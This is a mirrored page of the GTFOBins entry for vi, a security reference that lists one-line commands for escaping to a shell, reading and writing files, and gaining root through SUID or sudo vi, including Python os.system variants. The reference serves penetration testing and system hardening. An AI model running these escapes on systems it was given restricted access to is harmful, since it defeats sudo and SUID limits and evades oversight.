This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-10-26 14:27:18 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
279381cf3c23877abde2436529ebdd4c92e9f1f0
GTFOBins.github.io
/
_gtfobins
/
vi.md
Emilio Pinna
279381cf3c
Polish rvim, vi, and vim
2018-12-03 13:15:57 +00:00
593 B
Raw
Blame
History
functions
functions
shell
file-write
file-read
suid
sudo
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
description
code
This requires that vi is compiled with Python support.
vi -c ':py import os;os.system("sh")'
code
vi file_to_write iDATA ^[ w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'
description
code
This requires that vi is compiled with Python support.
sudo vi -c ':py import os;os.system("sh")'